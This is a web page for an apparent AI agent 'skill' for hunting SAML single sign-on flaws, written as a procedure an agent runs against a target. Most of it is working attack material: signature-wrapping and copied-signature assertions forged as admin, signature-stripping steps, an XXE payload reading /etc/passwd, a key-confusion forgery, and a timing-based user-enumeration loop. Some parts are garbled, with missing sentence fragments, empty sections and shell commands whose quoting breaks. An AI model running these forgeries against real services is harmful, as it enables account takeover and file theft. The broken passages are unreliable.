Hunt saml

From uphiago/recon-skills · View interactive version

Hunt saml is an AI agent skill from the GitHub repository uphiago/recon-skills. Hunt SAML / SSO attacks. Patterns: XML Signature Wrapping (XSW) — modify Assertion while keeping Signature valid by relocating signed element, comment injection in NameID (admin@target.com<!--evil-->@attacker.com → some parsers see admin@target.com), signature stripping (remove Signature element ent

How to use this skill

Skill file

When to Use

Prerequisites

How to Run

TARGET="example.test"
export OUTPUT_DIR="${OUTPUT_DIR:-./output}"

# Fetch SP metadata first; 200 with <EntityDescriptor> confirms a SAML SP
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/saml/metadata" \
  | tee "$OUTPUT_DIR/saml-metadata.xml"

Procedure

The phases below are the procedure. Keep each probe bounded (--max-time), record evidence beneath OUTPUT_DIR, and stop at the stop-conditions listed in Pitfalls.

20. SAML / SSO ATTACKS

SSO bugs frequently pay High–Critical. XML parsers are notoriously inconsistent.

Attack Surface

# Find SAML endpoints
cat recon/$TARGET/urls.txt | grep -iE "saml|sso|login.*redirect|oauth|idp|sp"
# Key endpoints: /saml/acs (assertion consumer service), /sso/saml, /auth/saml/callback

Attack 1: XML Signature Wrapping (XSW)

<!-- BEFORE: valid assertion by user@company.com -->
<saml:Response>
  <saml:Assertion ID="legit">
    <NameID>user@company.com</NameID>
    <ds:Signature><!-- Valid, covers ID=legit --></ds:Signature>
  </saml:Assertion>
</saml:Response>

<!-- AFTER: inject evil assertion. Signature still validates (covers #legit).
     App processes the FIRST assertion found = evil. -->
<saml:Response>
  <saml:Assertion ID="evil">
    <NameID>admin@company.com</NameID>  <!-- Attacker-controlled -->
  </saml:Assertion>
  <saml:Assertion ID="legit">
    <NameID>user@company.com</NameID>
    <ds:Signature><!-- Valid --></ds:Signature>
  </saml:Assertion>
</saml:Response>

Attack 2: Comment Injection in NameID

<!-- Attacker registers/controls account: admin@company.com.evil.com -->
<NameID>admin@company.com<!---->.evil.com</NameID>
<!-- Signed canonical form (C14N without-comments strips the comment BEFORE
     digest): "admin@company.com.evil.com" — the value the signature covers. -->
<!-- App's XML processor also strips the comment but only reads the text node
     UP TO the comment boundary: "admin@company.com" — a DIFFERENT effective
     identity than was signed. The discrepancy is the bug. -->
<!-- Works when signer's C14N and app's text extraction disagree on comments.
     CVE-2017-11428 (Ruby-SAML / OneLogin), CVE-2016-5697. -->

Attack 3: Signature Stripping

1. Decode SAMLResponse: echo "BASE64" | base64 -d | xmllint --format - > saml.xml
2. Delete the entire <Signature> element
3. Change NameID to admin@company.com
4. Re-encode: base64 -w0 saml.xml  (POST binding = raw base64, NO compression; Redirect binding uses raw DEFLATE — not gzip)
5. Submit — if server doesn't verify signature presence = admin ATO

Attack 4: XXE in SAML Assertion

<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<saml:Assertion>
  <NameID>&xxe;</NameID>
</saml:Assertion>

Attack 5: NameID Manipulation

Test these NameID values:
- admin@company.com (generic admin)
- administrator@company.com
- support@target.com
- Any email found in disclosed reports for this program
- ${7*7} (SSTI if NameID gets rendered in a template)

Tools

# SAMLRaider (Burp extension) — automated XSW testing
# BApp Store → SAMLRaider → intercept SAMLResponse → SAML Raider tab

# Manual workflow:
echo "BASE64_SAML" | base64 -d > saml.xml
# Edit saml.xml
base64 -w0 saml.xml  # Re-encode
# URL-encode the result before sending as SAMLResponse parameter

SAML Triage

XSW successful   = Critical (ATO any user)
Sig stripping    = Critical (ATO any user)
Comment injection = High (ATO admin)
XXE in assertion = High (file read / SSRF)
NameID manip     = Medium/High (depends on what NameID maps to)

Attack 6: The Fragile Lock — SAML Bypasses (Fedotkin, Dec 2025)

Source: https://portswigger.net/research/the-fragile-lock

The research by Alexander Fedotkin (Dec 2025) reveals entire classes of SAML bypasses rooted in

parser differentials, canonicalization mismatches, and multi-signature confusion. Three key vectors:

6a. Parser Differentials

Different XML parsers (libxml2, Xerces, MSXML, System.Xml in .NET) disagree on:

or vice versa. The effective signed value differs from the verified value.

namespace prefix expansion (xmlns:prefix vs inherited default namespace).

pipeline can produce a post-parse DOM that differs from the pre-sign-verified canonical form.

<NameID>admin@company.com</NameID> — some parsers strip CDATA, some keep it.

Detection script:

# Re-encode the same SAML assertion with multiple XML formatting variations.
# If any variation produces a different NameID than what was signed → parser differential.

# Variation 1 — Whitespace in element content
echo "<saml:Assertion ID="legit"><NameID>  admin@company.com  </NameID><ds:Signature>...</ds:Signature></saml:Assertion>" | base64

# Variation 2 — CDATA wrapping
echo "<saml:Assertion ID="legit"><NameID><![CDATA[admin@company.com]]></NameID><ds:Signature>...</ds:Signature></saml:Assertion>" | base64

# Variation 3 — Namespace redeclaration
echo "<saml:Assertion xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" ID="legit"><NameID>admin@evil.com</NameID><ds:Signature>...</ds:Signature></saml:Assertion>" | base64

6b. Multi-Signature / Signature Copy

Some SPs accept assertions with MULTIPLE <ds:Signature> elements. An attacker can:

  1. Obtain a valid signature for ANY assertion (e.g., from a public SAML demo IdP or from a prior login).
  2. Strip the original signed assertion, keeping only the <ds:Signature>.
  3. Wrap a NEW evil assertion with the copied-signature element attached.
<!-- Attacker copies a valid signature from any previously-seen SAML assertion -->
<saml:Response>
  <saml:Assertion ID="evil">
    <NameID>admin@company.com</NameID>
    <AttributeStatement>
      <Attribute Name="Role"><AttributeValue>Administrator</AttributeValue></Attribute>
    </AttributeStatement>
  </saml:Assertion>
  <ds:Signature><!-- Copied from another assertion; server verifies it exists, NOT what it covers --></ds:Signature>
</saml:Response>

6c. New XSW Variants (XSW2–XSW8)

Beyond the classic XSW1 (duplicate assertion injection), these variants circumvent modern SAML

libraries that added position-based or ID-based signature binding:

| Variant | Technique | Bypasses |

|---------|-----------|----------|

| XSW2 | Move <ds:Signature> INSIDE a child element of the evil assertion | Libraries that verify signature position relative to root |

| XSW3 | Split assertion across XML-comment boundaries in the reference URI | Libraries that use URI-fragment matching |

| XSW4 | Inject a second AssertionIDRef / AuthnStatement inside the signed assertion | Libraries that process all statements, not just first |

| XSW5 | Use xml:id / ID attribute on the INJECTED assertion matching the signed reference's URI | Libraries that match by ID string, not DOM position |

| XSW6 | Namespace-prefix injection — declare an alias for the SAML namespace so the injected assertion uses a different prefix but same namespace | Libraries that key on prefix string |

| XSW7 | XML External Entity (XXE) inside the signature-reference URI to poison the digest check | Libraries that resolve entities during signature validation |

| XSW8 | XSLT transform injection in the <ds:Transform> element — transforms the post-signature DOM | Libraries that apply transforms after verification |

Probing script for XSW2–XSW5:

# XSW2: Signature inside child element
xsw2_payload = '''<saml:Response>
  <saml:Assertion ID="evil">
    <NameID>admin@company.com</NameID>
    <ds:Signature><!-- Copied valid signature --></ds:Signature>
  </saml:Assertion>
</saml:Response>'''

# XSW3: Comment-split URI reference
xsw3_payload = '''<saml:Response>
  <saml:Assertion ID="legit"><!-- ID actually referenced by signature URI -->
    ...
  </saml:Assertion>
  <saml:Assertion ID="evil"><!-- Not referenced but processed first -->
    <NameID>admin@company.com</NameID>
  </saml:Assertion>
</saml:Response>'''

# XSW4: Extra statement inside the legit assertion
xsw4_payload = '''<saml:Response>
  <saml:Assertion ID="legit">
    <ds:Signature><!-- Valid --></ds:Signature>
    <saml:AuthnStatement><!-- SP reads this one, overrides original -->
      <saml:AuthnContext><saml:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:PreviousSession</saml:AuthnContextClassRef></saml:AuthnContext>
    </saml:AuthnStatement>
    <saml:AttributeStatement>
      <saml:Attribute Name="Role"><saml:AttributeValue>Administrator</saml:AttributeValue></saml:Attribute>
    </saml:AttributeStatement>
  </saml:Assertion>
</saml:Response>'''

Triage: Key Confusion Variant

When the SP trusts MULTIPLE IdPs (common in federated environments), an assertion signed by

IdP-A (attacker-controlled IdP) is sent to an SP that trusts IdP-B (victim IdP). If the SP does not

validate <Issuer> or <AudienceRestriction>, the attacker-IdP-signed assertion grants access.

# Test key confusion:
# 1. Register as an IdP on a federated platform
# 2. Sign an assertion for admin@company.com with YOUR IdP's private key
# 3. POST to victim SP's AssertionConsumerService
# 4. If SP accepts the assertion without checking Issuer = expected IdP → ATO

Pitfalls


Verification


Recon: Metadata, Request Decoding, and Timing (merged from saml-sso-attack)

The retired auth/saml-sso-attack skill is consolidated here. Its recon phases complement the attack list above: parse IdP metadata before choosing a technique, decode captured SAMLRequests with the correct binding (HTTP-Redirect uses raw DEFLATE, POST uses plain base64), and treat timing-based user enumeration as a hint requiring multiple samples, not proof.

Phase 2 — Extract IdP Metadata

METADATA_URL="$1"  # e.g., https://idp.target.com/saml2/idp/metadata.php

echo "[*] Extracting SAML metadata from $METADATA_URL"

METADATA=$(curl -sk --max-time 10 --connect-timeout 10 "$METADATA_URL" 2>/dev/null)

if [[ -z "$METADATA" ]]; then
  echo "[-] No metadata accessible"
  exit 1
fi

# Parse with Python
echo "$METADATA" | python3 -c "
import sys
from xml.etree import ElementTree as ET

content = sys.stdin.read()
root = ET.fromstring(content)

# Namespaces
ns = {'md': 'urn:oasis:names:tc:SAML:2.0:metadata',
      'ds': 'http://www.w3.org/2000/09/xmldsig#'}

# Entity ID
entity_id = root.get('entityID', 'unknown')
print(f'Entity ID: {entity_id}')

# Signing certificates
for cert_el in root.iter('{http://www.w3.org/2000/09/xmldsig#}X509Certificate'):
    cert = cert_el.text.strip()
    print(f'Signing Cert ({len(cert)} chars): {cert[:60]}...')

# SSO endpoints
for el in root.iter():
    if 'Binding' in el.attrib:
        binding = el.attrib['Binding']
        location = el.attrib.get('Location', '')
        if 'HTTP-Redirect' in binding or 'HTTP-POST' in binding:
            print(f'Endpoint: {location} [{binding.split(\":\")[-1]}]')

# NameID formats
for el in root.iter('{urn:oasis:names:tc:SAML:2.0:metadata}NameIDFormat'):
    print(f'NameID Format: {el.text}')
" 2>/dev/null

Phase 3 — Decode & Analyze SAMLRequest

SAML_B64="$1"  # from URL parameter or Burp

echo "[*] Decoding SAMLRequest"

echo "$SAML_B64" | python3 -c "
import sys, base64, zlib
from xml.etree import ElementTree as ET

raw = sys.stdin.read().strip()
decoded = base64.b64decode(raw)
try:
    decompressed = zlib.decompress(decoded, -15)
except:
    decompressed = decoded

xml = decompressed.decode('utf-8', errors='replace')
print(xml[:3000])

root = ET.fromstring(xml)
print()
print('=== Analysis ===')

# Request ID
req_id = root.get('ID', 'none')
print(f'Request ID: {req_id}')

# Issuer
issuer_el = root.find('.//{urn:oasis:names:tc:SAML:2.0:assertion}Issuer')
if issuer_el is not None:
    print(f'Issuer: {issuer_el.text}')

# ForceAuthn
force = root.get('ForceAuthn', 'false')
print(f'ForceAuthn: {force}')

# NameIDPolicy
policy_el = root.find('.//{urn:oasis:names:tc:SAML:2.0:protocol}NameIDPolicy')
if policy_el is not None:
    allow_create = policy_el.get('AllowCreate', 'false')
    fmt = policy_el.get('Format', 'unspecified')
    print(f'NameIDPolicy: AllowCreate={allow_create}, Format={fmt}')
" 2>/dev/null

Phase 4 — SSO Timing-Based User Enumeration

SSO_HOST="$1"  # SSO host, no scheme
USERS_FILE="$2"  # List of usernames/emails to test

echo "[*] SSO timing-based user enumeration"

# The technique: valid users produce a different response time than invalid users
# because the server checks LDAP/AD before returning the SAML response

while read -r user; do
  START=$(date +%s%N)
  curl -sk -o /dev/null --max-time 15 --connect-timeout 10 \
    "https://$SSO_HOST/sso/login?username=$user&password=WRONG_PASS" 2>/dev/null
  END=$(date +%s%N)
  ELAPSED=$(( (END - START) / 1000000 ))

  echo "  $user: ${ELAPSED}ms"
  sleep 1
done < "$USERS_FILE" | sort -t: -k2 -rn | head -20

echo "[*] Users with significantly higher response times likely exist"

Related Skills & Chains

Use this skill with your AI agent: Open on Skill Issue to copy, download, or add to your library. Works with Claude, ChatGPT, Gemini, Cursor, Windsurf and more.